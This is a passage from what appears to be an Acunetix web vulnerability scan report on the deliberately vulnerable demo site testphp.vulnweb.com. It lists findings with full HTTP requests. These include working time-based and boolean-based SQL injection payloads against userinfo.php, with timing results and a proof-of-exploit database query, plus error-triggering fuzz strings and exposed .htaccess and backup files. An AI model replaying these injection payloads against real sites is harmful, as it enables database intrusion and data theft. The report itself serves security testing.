- (select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+''+(select(0)from(select(sleep(15)))v)/*'/ => **15.147**
- (select(0)from(select(sleep(0)))v)/*'+(select(0)from(select(sleep(0)))v)+''+(select(0)from(select(sleep(0)))v)/*'/ => **0.14**
- (select(0)from(select(sleep(3)))v)/*'+(select(0)from(select(sleep(3)))v)+''+(select(0)from(select(sleep(3)))v)/*'/ => **3.144**
- (select(0)from(select(sleep(6)))v)/*'+(select(0)from(select(sleep(6)))v)+''+(select(0)from(select(sleep(6)))v)/*'/ => **6.138**
- (select(0)from(select(sleep(0)))v)/*'+(select(0)from(select(sleep(0)))v)+''+(select(0)from(select(sleep(0)))v)/*'/ => **0.154**
- (select(0)from(select(sleep(6)))v)/*'+(select(0)from(select(sleep(6)))v)+''+(select(0)from(select(sleep(6)))v)/*'/ => **6.16**

Original value: **777**

Request headers

POST /userinfo.php HTTP/1.1

Content-Type: application/x-www-form-urlencoded

X-Requested-With: XMLHttpRequest

Referer: http://testphp.vulnweb.com/

Cookie: login=test%2Ftest

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip,deflate

Content-Length: 926

Host: testphp.vulnweb.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0

Connection: Keep-alive

uaddress=

```
<div%20id="content">%0D%0A%09<div%20class="story">%0D%0A%09<h3>If%20you%20are%20already%20
0registered%20please%20enter%20your%20login%20information%20below:</h3>
<br>%0D%0A%09<form%20name="loginform"%20method="post"%20action="userinfo.php">%0D%0A%09<t
able%20cellpadding="4"%20cellspacing="1">%0D%0A%09%09<tr><td>Username%20:%20</td><td>
<input%20name="uname"%20type="text"%20size="20"%20style="width:120px;"></td>
</tr>%0D%0A%09%09<tr><td>Password%20:%20</td><td>
<input%20name="pass"%20type="password"%20size="20"%20style="width:120px;"></td>
</tr>%0D%0A%09%09<tr><td%20colspan="2"%20align="right">
<input%20type="submit"%20value="login"%20style="width:75px;"></td>
</tr>%0D%0A%09</table>%0D%0A%09</form>%0D%0A%20%20%09</div>&ucc=
(select(0)from(select(sleep(6)))v)/*'%2B(select(0)from(select(sleep(6)))v)%2B'"%2B(select
(0)from(select(sleep(6)))v)%2B"*/&uemail=matheusdaocu%40gmail.com&update=update&uphone=%2
B555%206666666666
```

/userinfo.php

Verified vulnerability

Details

URL encoded POST input **uemail** was set to **1ACU\$TART""VzXqAACUEND**

Request headers

POST /userinfo.php HTTP/1.1

Acunetix-Aspect: enabled

Acunetix-Aspect-Password: 082119f75623eb7abd7bf357698ff66c

Acunetix-Aspect-Queries: filelist;aspectalerts

Content-Type: application/x-www-form-urlencoded

Referer: http://testphp.vulnweb.com/

Cookie: login=test%2Ftest

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip,deflate

Content-Length: 805

Host: testphp.vulnweb.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0

Connection: Keep-alive

uaddress=

```
<div%20id="content">%0D%0A%09<div%20class="story">%0D%0A%09<h3>If%20you%20are%20already%20
0registered%20please%20enter%20your%20login%20information%20below:</h3>
<br>%0D%0A%09<form%20name="loginform"%20method="post"%20action="userinfo.php">%0D%0A%09<t
able%20cellpadding="4"%20cellspacing="1">%0D%0A%09%09<tr><td>Username%20:%20</td><td>
<input%20name="uname"%20type="text"%20size="20"%20style="width:120px;"></td>
</tr>%0D%0A%09%09<tr><td>Password%20:%20</td><td>
<input%20name="pass"%20type="password"%20size="20"%20style="width:120px;"></td>
</tr>%0D%0A%09%09<tr><td%20colspan="2"%20align="right">
<input%20type="submit"%20value="login"%20style="width:75px;"></td>
</tr>%0D%0A%09</table>%0D%0A%09</form>%0D%0A%20%20%09</div>&ucc=777&uemail=1ACUSTART' "VzX
qAACUEND&update=update&uphone=%2B555%206666666666
```

Source file: /hj/var/www//userinfo.php, line: 32

Additional details

```
SQL query:
UPDATE users
SET
name = '',
cc = '777',
address = '<div id="content">

<div class="story">

<h3>If you are already registered please enter your login information below:</h3><br>

<form name="loginform" method="post" action="userinfo.php">

<table cellpadding="4" cellspacing="1">

<tr><td>Username : </td><td><input name="uname" type="text" size="20"
style="width:120px;"></td></tr>

<tr><td>Password : </td><td><input name="pass" type="password" size="20"
style="width:120px;"></td></tr>

<tr><td colspan="2" align="right"><input type="submit" value="login" style="width:75px;">
</td></tr>

</table>

</form>

</div>',
email = '1ACUSTART'"VzXqAACUEND',
phone = '+555 6666666666'
WHERE
uname = 'test'

"mysql_query" was called.
```

/userinfo.php

Verified vulnerability

Details

URL encoded POST input **uemail** was set to **1ACUSTART'"iEB0PACUEND**

Request headers

POST /userinfo.php HTTP/1.1

Acunetix-Aspect: enabled

Acunetix-Aspect-Password: 082119f75623eb7abd7bf357698ff66c

Acunetix-Aspect-Queries: filelist;aspectalerts

Content-Type: application/x-www-form-urlencoded

Referer: http://testphp.vulnweb.com/

Cookie: login=test%2Ftest

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip,deflate

Content-Length: 821

Host: testphp.vulnweb.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0

Connection: Keep-alive

uaddress=

```
<div%20id="content">%0D%0A%09<div%20class="story">%0D%0A%09<h3>If%20you%20are%20already%20
0registered%20please%20enter%20your%20login%20information%20below:</h3>
<br>%0D%0A%09<form%20name="loginform"%20method="post"%20action="userinfo.php">%0D%0A%09<t
able%20cellpadding="4"%20cellspacing="1">%0D%0A%09%09<tr><td>Username%20:%20</td><td>
<input%20name="uname"%20type="text"%20size="20"%20style="width:120px;"></td>
</tr>%0D%0A%09%09<tr><td>Password%20:%20</td><td>
<input%20name="pass"%20type="password"%20size="20"%20style="width:120px;"></td>
</tr>%0D%0A%09%09<tr><td%20colspan="2"%20align="right">
<input%20type="submit"%20value="login"%20style="width:75px;"></td>
</tr>%0D%0A%09</table>%0D%0A%09</form>%0D%0A%20%20%09</div>&ucc=777&uemail=1ACUSTART'"iEB
0PACUEND&update=update&uphone=%2B555%206666666666&urname=ghovjnjv
```

Source file: /hj/var/www//userinfo.php, line: 32

Additional details

```
SQL query:
UPDATE users
SET
name = 'ghovjnjv',
cc = '777',
address = '<div id="content">

<div class="story">

<h3>If you are already registered please enter your login information below:</h3><br>

<form name="loginform" method="post" action="userinfo.php">

<table cellpadding="4" cellspacing="1">

<tr><td>Username : </td><td><input name="uname" type="text" size="20"
style="width:120px;"></td></tr>

<tr><td>Password : </td><td><input name="pass" type="password" size="20"
style="width:120px;"></td></tr>

<tr><td colspan="2" align="right"><input type="submit" value="login" style="width:75px;">
</td></tr>

</table>

</form>

</div>',
email = '1ACUSTART'"iEB0PACUEND',
phone = '+555 6666666666'
WHERE
uname = 'test'

"mysql_query" was called.
```

/userinfo.php

Verified vulnerability

Details

URL encoded POST input **uname** was set to **-1' OR 3*2*1=6 AND 000690=000690 --**

Tests performed:

- -1' OR 2+690-690-1=0+0+0+1 -- => **TRUE**
- -1' OR 3+690-690-1=0+0+0+1 -- => **FALSE**
- -1' OR 3*2<(0+5+690-690) -- => **FALSE**
- -1' OR 3*2>(0+5+690-690) -- => **FALSE**
- -1' OR 2+1-1+1=1 AND 000690=000690 -- => **FALSE**
- -1' OR 3*2=5 AND 000690=000690 -- => **FALSE**
- -1' OR 3*2=6 AND 000690=000690 -- => **TRUE**
- -1' OR 3*2*0=6 AND 000690=000690 -- => **FALSE**
- -1' OR 3*2*1=6 AND 000690=000690 -- => **TRUE**

Original value: **1**

Proof of Exploit

SQL query - SELECT database()

acuart

Request headers

POST /userinfo.php HTTP/1.1

Content-Type: application/x-www-form-urlencoded

X-Requested-With: XMLHttpRequest

Referer: http://testphp.vulnweb.com/

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip,deflate

Content-Length: 61

Host: testphp.vulnweb.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0

Connection: Keep-alive

pass=1&uname=-1'%20OR%203*2*1=6%20AND%20000690=000690%20--%20

/userinfo.php

Verified vulnerability

Details

URL encoded POST input **uname** was set to **1ACU\$TART""qZNPcACUEND**

Request headers

POST /userinfo.php HTTP/1.1

Acunetix-Aspect: enabled

Acunetix-Aspect-Password: 082119f75623eb7abd7bf357698ff66c

Acunetix-Aspect-Queries: filelist;aspectalerts

Content-Type: application/x-www-form-urlencoded

Referer: http://testphp.vulnweb.com/

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip,deflate

Content-Length: 50

Host: testphp.vulnweb.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0

Connection: Keep-alive

pass=g00dPa%24%24w0rD&uname=1ACU**START**''qZNPcACU**END**

Source file: /hj/var/www//userinfo.php, line: 8

Additional details

SQL query: SELECT * FROM users WHERE uname='1ACU**START**''qZNPcACU**END**' AND pass='g00dPa\$\$w0rD'

"mysql_query" was called.

/userinfo.php

Verified vulnerability

Details

URL encoded POST input **uphone** was set to **1ACU**START**''OhepyACU**END****

Request headers

POST /userinfo.php HTTP/1.1

Acunetix-Aspect: enabled

Acunetix-Aspect-Password: 082119f75623eb7abd7bf357698ff66c

Acunetix-Aspect-Queries: filelist;aspectalerts

Content-Type: application/x-www-form-urlencoded

Referer: http://testphp.vulnweb.com/

Cookie: login=test%2Ftest

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip,deflate

Content-Length: 811

Host: testphp.vulnweb.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0

Connection: Keep-alive

uaddress=

```
<div%20id="content">%0D%0A%09<div%20class="story">%0D%0A%09<h3>If%20you%20are%20already%20
0registered%20please%20enter%20your%20login%20information%20below:</h3>
<br>%0D%0A%09<form%20name="loginform"%20method="post"%20action="userinfo.php">%0D%0A%09<t
able%20cellpadding="4"%20cellspacing="1">%0D%0A%09%09<tr><td>Username%20:%20</td><td>
<input%20name="uname"%20type="text"%20size="20"%20style="width:120px;"></td>
</tr>%0D%0A%09%09<tr><td>Password%20:%20</td><td>
<input%20name="pass"%20type="password"%20size="20"%20style="width:120px;"></td>
</tr>%0D%0A%09%09<tr><td%20colspan="2"%20align="right">
<input%20type="submit"%20value="login"%20style="width:75px;"></td>
</tr>%0D%0A%09</table>%0D%0A%09</form>%0D%0A%20%20%09</div>&ucc=777&uemail=matheusdaocu%4
0gmail.com&update=update&uphone=1ACUSTART'"OhepyACUEND
```

Source file: /hj/var/www//userinfo.php, line: 32

Additional details

```
SQL query:
UPDATE users
SET
name = '',
cc = '777',
address = '<div id="content">

<div class="story">

<h3>If you are already registered please enter your login information below:</h3><br>

<form name="loginform" method="post" action="userinfo.php">

<table cellpadding="4" cellspacing="1">

<tr><td>Username : </td><td><input name="uname" type="text" size="20"
style="width:120px;"></td></tr>

<tr><td>Password : </td><td><input name="pass" type="password" size="20"
style="width:120px;"></td></tr>

<tr><td colspan="2" align="right"><input type="submit" value="login" style="width:75px;">
</td></tr>

</table>

</form>

</div>',
email = 'matheusdaocu@gmail.com',
phone = '1ACUSTART'"OhepyACUEND'
WHERE
uname = 'test'

"mysql_query" was called.
```

/userinfo.php

Verified vulnerability

Details

URL encoded POST input **uphone** was set to **1ACUSTART'"d6ToCACUEND**

Request headers

POST /userinfo.php HTTP/1.1

Acunetix-Aspect: enabled

Acunetix-Aspect-Password: 082119f75623eb7abd7bf357698ff66c

Acunetix-Aspect-Queries: filelist;aspectalerts

Content-Type: application/x-www-form-urlencoded

Referer: http://testphp.vulnweb.com/

Cookie: login=test%2Ftest

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip,deflate

Content-Length: 827

Host: testphp.vulnweb.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0

Connection: Keep-alive

uaddress=

```
<div%20id="content">%0D%0A%09<div%20class="story">%0D%0A%09<h3>If%20you%20are%20already%20
0registered%20please%20enter%20your%20login%20information%20below:</h3>
<br>%0D%0A%09<form%20name="loginform"%20method="post"%20action="userinfo.php">%0D%0A%09<t
able%20cellpadding="4"%20cellspacing="1">%0D%0A%09%09<tr><td>Username%20:%20</td><td>
<input%20name="uname"%20type="text"%20size="20"%20style="width:120px;"></td>
</tr>%0D%0A%09%09<tr><td>Password%20:%20</td><td>
<input%20name="pass"%20type="password"%20size="20"%20style="width:120px;"></td>
</tr>%0D%0A%09%09<tr><td%20colspan="2"%20align="right">
<input%20type="submit"%20value="login"%20style="width:75px;"></td>
</tr>%0D%0A%09</table>%0D%0A%09</form>%0D%0A%20%20%09</div>&ucc=777&uemail=matheusdaocu%4
0gmail.com&update=update&uphone=1ACUSTART'"d6ToCACUEND&urname=ghovjnjv
```

Source file: /hj/var/www//userinfo.php, line: 32

Additional details

```

SQL query:
UPDATE users
SET
name = 'ghovjnjv',
cc = '777',
address = '<div id="content">

<div class="story">

<h3>If you are already registered please enter your login information below:</h3><br>

<form name="loginform" method="post" action="userinfo.php">

<table cellpadding="4" cellspacing="1">

<tr><td>Username : </td><td><input name="uname" type="text" size="20"
style="width:120px;"></td></tr>

<tr><td>Password : </td><td><input name="pass" type="password" size="20"
style="width:120px;"></td></tr>

<tr><td colspan="2" align="right"><input type="submit" value="login" style="width:75px;">
</td></tr>

</table>

</form>

</div>',
email = 'matheusdaocu@gmail.com',
phone = '1ACUSTART'"d6ToCACUEND'
WHERE
uname = 'test'

"mysql_query" was called.

```

! .htaccess file readable

Severity	Medium
Reported by module	/Scripts/PerFolder/htaccess_File_Readable.script

Description

This directory contains an **.htaccess** file that is readable. This may indicate a server misconfiguration. htaccess files are designed to be parsed by web server and should not be directly accessible. These files could contain sensitive information that could help an attacker to conduct further attacks. It's recommended to restrict access to this file.

Impact

Possible sensitive information disclosure.

Recommendation

Restrict access to the .htaccess file by adjusting the web server configuration.

Affected items

/Mod_Rewrite_Shop/

Verified vulnerability

Details

Request headers

GET /Mod_Rewrite_Shop/.htaccess HTTP/1.1

Cookie: login=test%2Ftest

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip,deflate

Host: testphp.vulnweb.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0

Connection: Keep-alive

! Application error message

Severity	Medium
Reported by module	/Scripts/PerScheme/Error_Message.script

Description

This alert requires manual confirmation

Application error or warning messages may expose sensitive information about an application's internal workings to an attacker.

Acunetix found an error or warning message that may disclose sensitive information. The message may also contain the location of the file that produced an unhandled exception. Consult the 'Attack details' section for more information about the affected page.

Impact

Error messages may disclose sensitive information which can be used to escalate attacks.

Recommendation

Verify that this page is disclosing error or warning messages and properly configure the application to log errors to a file instead of displaying the error to the user.

References

[PHP Runtime Configuration](https://www.php.net/manual/en/errorfunc.configuration.php#ini.display-errors) (https://www.php.net/manual/en/errorfunc.configuration.php#ini.display-errors)
[Improper Error Handling](https://www.owasp.org/index.php/Improper_Error_Handling) (https://www.owasp.org/index.php/Improper_Error_Handling)

Affected items

/listproducts.php

Details

URL encoded GET input **artist** was set to **12345'"'\");|]*%00{%0d%0a<%00>%bf%27'ð□□i**

Pattern found:

You have an error in your SQL syntax

Request headers

GET /listproducts.php?artist=12345'"'\");|]*%00{%0d%0a<%00>%bf%27'ð HTTP/1.1

Referer: http://testphp.vulnweb.com/

Cookie: login=test%2Ftest

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip,deflate

Host: testphp.vulnweb.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0

Connection: Keep-alive

/listproducts.php

Details

URL encoded GET input **cat** was set to **12345'"'\");|]*%00{%0d%0a<%00>%bf%27'ð□□i**

Pattern found:

You have an error in your SQL syntax

Request headers

GET /listproducts.php?cat=12345'"'\");|]*%00{%0d%0a<%00>%bf%27'ð HTTP/1.1

Referer: http://testphp.vulnweb.com/

Cookie: login=test%2Ftest

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip,deflate

Host: testphp.vulnweb.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0

Connection: Keep-alive

/secured/newuser.php

Details

URL encoded POST input **uname** was set to **12345'"\";|]*%00{%0d%0a<%00>%bf%27'd**

Pattern found:

```
You have an error in your SQL syntax
```

Request headers

POST /secured/newuser.php HTTP/1.1

Content-Type: application/x-www-form-urlencoded

Referer: http://testphp.vulnweb.com/

Cookie: login=test%2Ftest

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip,deflate

Content-Length: 225

Host: testphp.vulnweb.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0

Connection: Keep-alive

```
signup=signup&uaddress=3137%20Laguna%20Street&ucc=4111111111111111&uemail=sample%40email.tst&upass=g00dPa%24%24w0rD&upass2=g00dPa%24%24w0rD&uphone=555-666-0606&urname=ghovjnjv&uname=12345'"\";|]*%00{%0d%0a<%00>%bf%27'
```

/showimage.php

Details

URL encoded GET input **file** was set to **acu1951%EF%BC%9Cs1%EF%B9%A5s2%CA%BAs3%CA%B9uca1951**

Pattern found:

```
Warning: fopen(): Unable to access acu1951i%[sli^s2^s3^uca1951 in /hj/var/www/showimag
Warning: fopen(acu1951i%[sli^s2^s3^uca1951): failed to open stream: No such file or di
```

Request headers

GET /showimage.php?file=acu1951%EF%BC%9Cs1%EF%B9%A5s2%CA%BAs3%CA%B9uca1951&size=160
HTTP/1.1

Referer: http://testphp.vulnweb.com/

Cookie: login=test%2Ftest

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip,deflate

Host: testphp.vulnweb.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0

Connection: Keep-alive

/userinfo.php

Details

URL encoded POST input **uaddress** was set to **12345'''\''");|]*%00{%0d%0a<%00>%bf%27'd**

Pattern found:

You have an error in your SQL syntax

Request headers

POST /userinfo.php HTTP/1.1

Content-Type: application/x-www-form-urlencoded

Referer: http://testphp.vulnweb.com/

Cookie: login=test%2Ftest

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip,deflate

Content-Length: 131

Host: testphp.vulnweb.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0

Connection: Keep-alive

uaddress=12345'''\''");|]*%00{%0d%0a<%00>%bf%27'
&ucc=777&uemail=matheusdaocu%40gmail.com&update=update&uphone=%2B555%206666666666

/userinfo.php

Details

URL encoded POST input **ucc** was set to **12345'"'\");|]*%00{%0d%0a<%00>%bf%27'd**

Pattern found:

You have an error in your SQL syntax

Request headers

POST /userinfo.php HTTP/1.1

Content-Type: application/x-www-form-urlencoded

Referer: http://testphp.vulnweb.com/

Cookie: login=test%2Ftest

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip,deflate

Content-Length: 846

Host: testphp.vulnweb.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0

Connection: Keep-alive

uaddress=

```
<div%20id="content">%0D%0A%09<div%20class="story">%0D%0A%09<h3>If%20you%20are%20already%20
0registered%20please%20enter%20your%20login%20information%20below:</h3>
<br>%0D%0A%09<form%20name="loginform"%20method="post"%20action="userinfo.php">%0D%0A%09<t
able%20cellpadding="4"%20cellspacing="1">%0D%0A%09%09<tr><td>Username%20:%20</td><td>
<input%20name="uname"%20type="text"%20size="20"%20style="width:120px;"></td>
</tr>%0D%0A%09%09<tr><td>Password%20:%20</td><td>
<input%20name="pass"%20type="password"%20size="20"%20style="width:120px;"></td>
</tr>%0D%0A%09%09<tr><td%20colspan="2"%20align="right">
<input%20type="submit"%20value="login"%20style="width:75px;"></td>
</tr>%0D%0A%09</table>%0D%0A%09</form>%0D%0A%20%20%09</div>&ucc=12345'"'\");|]*%00{%0d%0
a<%00>%bf%27'd&uemail=matheusdaocu%40gmail.com&update=update&uphone=%2B555%206666666666
```

/userinfo.php

Details

URL encoded POST input **uemail** was set to **12345'"'\");|]*%00{%0d%0a<%00>%bf%27'd**

Pattern found:

You have an error in your SQL syntax

Request headers

POST /userinfo.php HTTP/1.1

Content-Type: application/x-www-form-urlencoded

Referer: http://testphp.vulnweb.com/

Cookie: login=test%2Ftest

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip,deflate

Content-Length: 825

Host: testphp.vulnweb.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0

Connection: Keep-alive

uaddress=

```
<div%20id="content">%0D%0A%09<div%20class="story">%0D%0A%09<h3>If%20you%20are%20already%20
0registered%20please%20enter%20your%20login%20information%20below:</h3>
<br>%0D%0A%09<form%20name="loginform"%20method="post"%20action="userinfo.php">%0D%0A%09<t
able%20cellpadding="4"%20cellspacing="1">%0D%0A%09%09<tr><td>Username%20:%20</td><td>
<input%20name="uname"%20type="text"%20size="20"%20style="width:120px;"></td>
</tr>%0D%0A%09%09<tr><td>Password%20:%20</td><td>
<input%20name="pass"%20type="password"%20size="20"%20style="width:120px;"></td>
</tr>%0D%0A%09%09<tr><td%20colspan="2"%20align="right">
<input%20type="submit"%20value="login"%20style="width:75px;"></td>
</tr>%0D%0A%09</table>%0D%0A%09</form>%0D%0A%20%20%09</div>&ucc=777&uemail=12345'\'\');|
]*%00{%0d%0a<%00>%bf%27'Ⓛ&update=update&uphone=%2B555%206666666666
```

/userinfo.php

Details

URL encoded POST input **uphone** was set to **12345'\'\');]*%00{%0d%0a<%00>%bf%27'ð□□j**

Pattern found:

```
You have an error in your SQL syntax
```

Request headers

POST /userinfo.php HTTP/1.1

Content-Type: application/x-www-form-urlencoded

Referer: http://testphp.vulnweb.com/

Cookie: login=test%2Ftest

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip,deflate

Content-Length: 831

Host: testphp.vulnweb.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0

Connection: Keep-alive

uaddress=

```
<div%20id="content">%0D%0A%09<div%20class="story">%0D%0A%09<h3>If%20you%20are%20already%20
0registered%20please%20enter%20your%20login%20information%20below:</h3>
<br>%0D%0A%09<form%20name="loginform"%20method="post"%20action="userinfo.php">%0D%0A%09<t
able%20cellpadding="4"%20cellspacing="1">%0D%0A%09%09<tr><td>Username%20:%20</td><td>
<input%20name="uname"%20type="text"%20size="20"%20style="width:120px;"></td>
</tr>%0D%0A%09%09<tr><td>Password%20:%20</td><td>
<input%20name="pass"%20type="password"%20size="20"%20style="width:120px;"></td>
</tr>%0D%0A%09%09<tr><td%20colspan="2"%20align="right">
<input%20type="submit"%20value="login"%20style="width:75px;"></td>
</tr>%0D%0A%09</table>%0D%0A%09</form>%0D%0A%20%20%09</div>&ucc=777&uemail=matheusdaocu%4
0gmail.com&update=update&uphone=12345'"'\');|]*%00{%0d%0a<%00>%bf%27'Ⓛ
```

/userinfo.php

Details

URL encoded POST input **uname** was set to **12345'"'\');|]*%00{%0d%0a<%00>%bf%27'Ⓛ**

Pattern found:

You have an error in your SQL syntax

Request headers

```
POST /userinfo.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Referer: http://testphp.vulnweb.com/
Cookie: login=test%2Ftest
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate
Content-Length: 857
Host: testphp.vulnweb.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0
Connection: Keep-alive
```

```
uaddress=
<div%20id="content">%0D%0A%09<div%20class="story">%0D%0A%09<h3>If%20you%20are%20already%20
0registered%20please%20enter%20your%20login%20information%20below:</h3>
<br>%0D%0A%09<form%20name="loginform"%20method="post"%20action="userinfo.php">%0D%0A%09<t
able%20cellpadding="4"%20cellspacing="1">%0D%0A%09%09<tr><td>Username%20:%20</td><td>
<input%20name="uname"%20type="text"%20size="20"%20style="width:120px;"></td>
</tr>%0D%0A%09%09<tr><td>Password%20:%20</td><td>
<input%20name="pass"%20type="password"%20size="20"%20style="width:120px;"></td>
</tr>%0D%0A%09%09<tr><td%20colspan="2"%20align="right">
<input%20type="submit"%20value="login"%20style="width:75px;"></td>
</tr>%0D%0A%09</table>%0D%0A%09</form>%0D%0A%20%20%09</div>&ucc=777&uemail=matheusdaocu%4
0gmail.com&update=update&uphone=%2B555%206666666666&urname=12345'\ '\ ');|]*%00{%0d%0a<%00>
%bf%27'💡
```

Backup files

Severity	Medium
Reported by module	/Scripts/PerFile/Backup_File.script

Description

A possible backup file was found on your web-server. These files are usually created by developers to backup their work.

Impact

Backup files can contain script sources, configuration files or other sensitive information that may help an malicious user to prepare more advanced attacks.

Recommendation

Remove the file(s) if they are not required on your website. As an additional step, it is recommended to implement a security policy within your organization to disallow creation of backup files in directories accessible from the web.

References

[Testing for Old, Backup and Unreferenced Files \(OWASP-CM-006\)](#)

([https://www.owasp.org/index.php/Review_Old,_Backup_and_Unreferenced_Files_for_Sensitive_Information_\(OTG-CONFIG-004\)](https://www.owasp.org/index.php/Review_Old,_Backup_and_Unreferenced_Files_for_Sensitive_Information_(OTG-CONFIG-004)))

[Security Tips for Server Configuration](http://httpd.apache.org/docs/1.3/misc/security_tips.html) (http://httpd.apache.org/docs/1.3/misc/security_tips.html)

[Protecting Confidential Documents at Your Site](http://www.w3.org/Security/Faq/wwwsf5.html) (<http://www.w3.org/Security/Faq/wwwsf5.html>)

Affected items

/index.bak

Details

This file was found using the pattern **\${fileName}.bak**.

Original filename: **index.php**

Pattern found:

```

<?PHP require_once("database_connect.php"); ?>
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"
"http://www.w3.org/TR/html4/loose.dtd">
<html><!-- InstanceBegin template="/Templates/main_dynamic_template.dwt.php" codeOutsideH
<head>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-2">

<!-- InstanceBeginEditable name="document_title_rgn" -->
<title>Home of WASP Art</title>
<!-- InstanceEndEditable -->
<link rel="stylesheet" href="style.css" type="text/css">
<!-- InstanceBeginEditable name="headers_rgn" -->
<!-- here goes headers headers -->
<!-- InstanceEndEditable -->
<script language="JavaScript" type="text/JavaScript">
<!--
function MM_reloadPage(init) { //reloads the window if Nav4 resized
  if (init==true) with (navigator) {if ((appName=="Netscape")&&(parseInt(appVersion)==4))
    document.MM_pgW=innerWidth; document.MM_pgH=innerHeight; onresize=MM_reloadPage; }}
  else if (innerWidth!=document.MM_pgW || innerHeight!=document.MM_pgH) location.reload()
}
MM_reloadPage(true);
//-->
</script>

</head>
<body>
<div id="mainLayer" style="position:absolute; width:700px; z-index:1">
<div id="masthead">
  <h1 id="siteName">ACUNETIX ART</h1>
  <h6 id="siteInfo">TEST and Demonstration site for Acunetix Web Vulnerability Scanner</h
  <div id="globalNav">
    <a href="index.php">home</a> | <a href="categories.php">categories</a> | <a href="art
    </a> | <a href="disclaimer.php">disclaimer</a> | <a href="cart.php">your cart</a>
    <a href="guestbook.php">guestbook</a>
  </div>
</div>
<!-- end masthead -->

<!-- begin content -->
<!-- InstanceBeginEditable name="content_rgn" -->
<div id="content">
  <h2 id="pageName">welcome to our page</h2>
  <div class="story">
    <h3>Test site for WASP.</h3>
  </div>
</div>
<!-- InstanceEndEditable -->
<!--end content -->

<div id="navBar">
  <div id="search">
    <form action="search.php" method="post">
      <label>search art</label>
      <input name="searchFor" type="text" size="10">
      <input name="goButton" type="submit" value="go">
    </form>
  </div>
  <div id="sectionLinks">
    <ul>
      <li><a href="categories.php">Browse categories</a></li>
      <li><a href="artists.php">Browse artists</a></li>
      <li><a href="cart.php">Your cart</a></li>
      <li><a href="login.php">Signup</a></li>
      <li><a href="userinfo.php">Your profile</a></li>
      <li><a href="guestbook.php">Our guestbook</a></li>
      <?PHP if (isset($_COOKIE["login"]))echo '<li><a href=" ../logout.php">Logout</a>

```

```
</ul>
</div>
<div class="relatedLinks">
  <h3>Links</h3>
  <ul>
    <li><a href="http://www.acunetix.com">Security art</a></li>
    <li><a href="http://www.electasy.com/Fractal-Explorer/index.html">Fractal Expl
  </ul>
</div>
<div id="advert">
  <p></p>
</div>
</div>

<!--end navbar -->
<div id="siteInfo"> <a href="http://www.acunetix.com">About Us</a> | <a href="redir.php?
  Map</a> | <a href="privacy.php">Privacy Policy</a> | <a href="mailto:wasp@acunetix.com"
  Acunetix Ltd
</div>
<br>
</div>
</body>
<!-- InstanceEnd --></html>
```

Request headers

```
GET /index.bak HTTP/1.1

Range: bytes=0-99999

Cookie: login=test%2Ftest

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip,deflate

Host: testphp.vulnweb.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0

